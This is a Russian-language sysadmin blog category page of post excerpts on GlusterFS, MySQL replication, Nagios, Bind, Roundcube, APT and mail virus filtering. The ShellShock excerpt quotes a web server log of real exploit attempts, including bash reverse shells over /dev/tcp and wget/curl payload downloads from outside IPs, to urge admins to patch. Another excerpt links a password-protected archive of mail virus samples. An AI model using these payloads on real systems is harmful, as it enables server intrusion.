Archive for the ‘ Linux ’ Category

Два сервера Ubuntu 14.04 (Trusty Tahr) — настройка GlusterFS

Понадобился файловый кластер в Linux, вот и подвернулся случай опробовать нашумевший в свое время GlusterFS. Альтернативой для gluster может быть drbd, о нем я тоже напишу както попозже … на этот раз подымаем Gluster!
Имеем, 2 сервера с установленной Ubuntu 14.04 LTS. IP адреса 100.100.100.100 (www-srv1) первый и 100.100.100.200 (www-srv2) второй.
Действия ниже делаются на обоих серверах, в случае необходимости я буду указывать что делается на одном сервере, также это можно понять из приветствия консоли!
1. Начинаем как всегда сначала, обновляем информацию о пакетах:

apt-get update

2. Теперь добавляем репозиторий с пакетами GlusterFS версии 3.4:

apt-get install python-software-properties
add-apt-repository ppa:semiosis/ubuntu-glusterfs-3.4
apt-get update

И поехали дальше …. Читать полностью

Win.Trojan.Agent в почте и headers_check в Postfix

Тут недавно отгребал кучу вирусни в почте, к сожалению наличие ClamAV с актуальными базами на почтовом сервере ниразу не спасало 🙁 Письма были шаблонные, тема одна и та же, вложение — zip файл photo.zip или iphone_photo.zip (несколько раз еще приходили transact_store.zip) который внутри содержит вирус exe-шник … основная разница только в том с какого хоста, от кого и кому шлют.
Вот примеры вложений с вирусом сохраненные из тех спам-писем для анализа, можете проверить на стойкость свои антивирусы 🙂
Надо? — жми!
Архив запаролен: FhiibNAfNm
Для тех кто верит мне на слово будет достаточно скриншота с содержимым данного архива:
Email with Virus
Вся эта беда сыпется по почте, ниже пример сообщения Читать полностью

MySQL — master/slave replication error «Duplicate entry»

Не так давно в очередной раз отвалилась MySQL реплика!
Казалось бы репликация в mysql за многие годы должна быть вылизана до идеала, но почемуто на практике это не так. Очень часто репликация master/slave в MySQL отваливается с ошибкой:

2014-09-26 08:57:14 42399 [ERROR] Slave SQL: Could not execute Write_rows_v1 event on table diff_wp.wp_options; Duplicate entry '_transient_is_multi_author' for key 'option_name', Error_code: 1062; handler error HA_ERR_FOUND_DUPP_KEY; the event's master log mysql-bin.000051, end_log_pos 128112, Error_code: 1062
2014-09-26 08:57:14 42399 [ERROR] Error running query, slave SQL thread aborted. Fix the problem, and restart the slave SQL thread with "SLAVE START". We stopped at log 'mysql-bin.000051' position 127907

У меня уже такое было, и я писал что на тот момент нашел временное решение. Но почему временное? Просто не было времени разбираться, а разобравшись … понял что тот вариант не совсем мне подходил. Итак, вариантов решения много — выбирай что нравится! Читать полностью

Nagios3 — Мониторим Bandwidth в ESX 5.x через SNMP

Расскажу и покажу как мониторить загруженность сетевых интерфейсов (bandwidth) в ESX версии 5.x через SNMP. К слову сказать, с помощью SNMP в ESX можно мониторить загрузку CPU, памяти, винтов и прочие параметры … но главное понять принцип как это делается, а дальше — дело техники! Для начала на серваке с ESX нужно включить SNMP. Не вижу смысла повторять героический подвиг и ваять скриншотики, вот тут коллеги уже прекрасно справились — тыц!
Итак, далее предполагаю что Nagios3 у вас уже установлен и настроен. Поехали дельше … Читать полностью

Уязвимость в bash CVE-2014-6271 (ShellShock) — какеры атакуют :)

Как говорится … «не прошло и недели», как школота уже вовсю юзает недавно обнаруженную столетнюю дыру в bash. Я уже писал заметку об этой серьезной уязвимости. Данный же пост для тех толстокожих админов кто думает «А мне все пофиг, я сделан из мяса …» или так «Обновления придумали глупые программеры для того чтобы впаривать админам новые глюки старых программ» 🙂 Короче всем неверующим, коротенький листинг лога http сервера, отфильтровано по слову «bash«:

25/Sep/2014:09:22:09 "GET / HTTP/1.0" (200) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
25/Sep/2014:22:21:23 "GET / HTTP/1.0" (200) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
27/Sep/2014:10:45:27 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (400) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
29/Sep/2014:13:21:13 "GET / HTTP/1.1" (200) "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"
30/Sep/2014:22:34:04 "GET / HTTP/1.1" (200) "() { :;}; /bin/bash -c \x22wget http://82.221.105.197/bash-count.txt\x22"
02/Oct/2014:12:29:54 "GET / HTTP/1.0" (444) "() { :; }; /bin/bash -c 'wget http://185.10.58.175/agent'"
02/Oct/2014:13:17:57 "GET / HTTP/1.0" (444) "() { :; }; /bin/bash -c '/usr/bin/wget http://185.10.58.175/agent'"
15/Oct/2014:22:13:56 "GET /cgi-bin/gsweb.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:56 "GET /cgi-bin/redirector.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:58 "GET /cgi-bin/test.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:58 "GET /cgi-bin/index.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:59 "GET /cgi-bin/help.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:59 "GET /cgi-bin/details.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:00 "GET /cgi-bin/log.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:01 "GET /cgi-bin/viewcontent.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/vidredirect.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/mailview.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/webmail.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:03 "GET /cgi-bin/finger.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:03 "GET /cgi-bin/click.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:14 "GET /cgi-bin/content.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
20/Oct/2014:16:51:34 "GET /cgi-bin/bit.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /var/tmp ; rm
29/Oct/2014:21:41:45 "GET /cgi-sys/entropysearch.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:45 "GET /cgi-sys/FormMail-clone.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:46 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:46 "GET /index.php HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
30/Oct/2014:00:39:42 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (444) "() { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1"
31/Oct/2014:11:04:10 "GET /cgi-bin/bit.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /var/tmp ; rm
01/Nov/2014:00:02:49 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /tmp;wget 61.156.8.189/use;curl -O

И поверьте, это сервер на котором всего пара захудалых web сайтов с посещением до 10 чел/сутки, на бойких серверах популярных ресурсов таких запросов сотни, ато и тысячи в сутки 🙂
Читайте новости, обновляйтесь, проверяйте свои сервера, мониторьте нагрузку и тд, если не хотите стать участником бот-нета!
Читать полностью

FreeBSD 9.x — Настройка Master/Slave named (Bind9)

Хорошо когда чтолибо работает автоматически и так как хочется! Меньше рутины — больше времени для веселья!
Есть 2 сервера с FreeBSD, на них установлен Bind9 (во FreeBSD он зовется named) и задача — настроить на них Bind в режиме Master/Slave, для того чтобы любые изменения зон на Master автоматически транслировались на Slave. Согласитесь, негоже одни и те же настройки повторять на разных серверах, когда они могу синкаться автоматически 🙂
Читать полностью

Roundcube 0.9.5 Upgrade to 1.0.3 — «DB Schema: NOT OK»

Тот кто сталкивался с обновлением Roundcube наверняка знает что обновить его это тот еще гемор 🙂 Вот и в этот раз я столкнулся с трудностями обновления с версии 0.9.5 до 1.0.3. То что конфиги разные и имеют разный формат — это ложка дегтя … ну да ладно. А вот обновления БД всегда были «поребриком» о который спотыкается каждый 🙂 Короче, наткнулся на такую вот ошибку: «DB Schema: NOT OK»
В инсталлере есть кнопочка «Update» которая якобы должна решить эту проблему, вот же она:

Roundcube - Upgrade SQL DB
но какую бы версию я не выбирал — ничего Читать полностью

APT — небольшой тюнинг с файлами «Translation»

Не знаю замечали Вы или нет, но apt по умолчанию тащит все переводы подряд. Давно хотел ограничить только En, Ua, и Ru. Вот оказывается как просто это делается:

root@deb:~# echo 'Acquire::Languages { "ua"; "ru"; "en"; };' > /etc/apt/apt.conf.d/93translaions

После этого я удалил то что apt вытащил ранее

root@deb:~# rm -r /var/lib/apt/lists/*Translation*

Ну и дальше проверяем: Читать полностью

Серьезная проблема с Bash — срочно обновиться!

Вот так нежданно-негаданно в мире Open Source вылезла еще одна масштабная проблема. Мир еще не успел оправиться от дырок в OpenSSL (все помнят Heartbleed), а тут на тебе — оказывается «фундамент тоже сыроват»! На этот раз свинью подложил Bash! А ведь он основной shell почти во всех дистрибутивах Linux и часто активно юзается админами *BSD! Уловили масштаб трагедии??? Можно подумать, ну баш и баш — что такого то? Проблема в том что он так или иначе связан с серьезными системными сервисами, например sshd, apache, git, некоторыми ftp и тд. Не говоря уже о том что ленивые админы и программисты не желая разбираться в хитроумных встроенных библиотеках python, perl и прочих языков в том или ином виде юзают «башизмы в CGI скриптах (сам такой, реализация find в perl выедает мне моск), которые выставлены в Интернет на всеобщее обозрение и легко могут быть использованы со злым умыслом 🙂 Сама суть проблемы в том что злоумышленник может через тот же ssh или apache подменить переменные ENV, что позволит ему удаленно выполнять произвольный код на системе жертвы без какойлибо авторизации! Заманчиво? Глядите на простейшую реализацию хака … простота неописуемая! Но идем дальше … Читать полностью

Debian/Ubuntu — watchdog для сервисов

Собственно по непонятным причинам на одном из серверов отваливается mysql. Давно хотел на критичные сервисы «натравить» watchdog, а вот и случай подвернулся 🙂 Итак, что делать для того чтобы восстановить работу «упавшего» сервиса? В репозитариях есть пакет watchdog, но он перегружает сервер в случай некой беды, будь то превышенный Load Avarage либо отвалившийся пинг и тд. Это нам не особо подходит. Можно конечно и там настроить реакцию на ивент не ребут, а выполнение своего собственного скрипта, но толку тогда от watchdog, если его работа периодическая (в системе и так есть Cron) и он умеет перегружать сервис только с помощью самописного скрипта … Короче скрипт что так, что сяк нужно писать самому, решил что watchdog это уже overhead. Читать полностью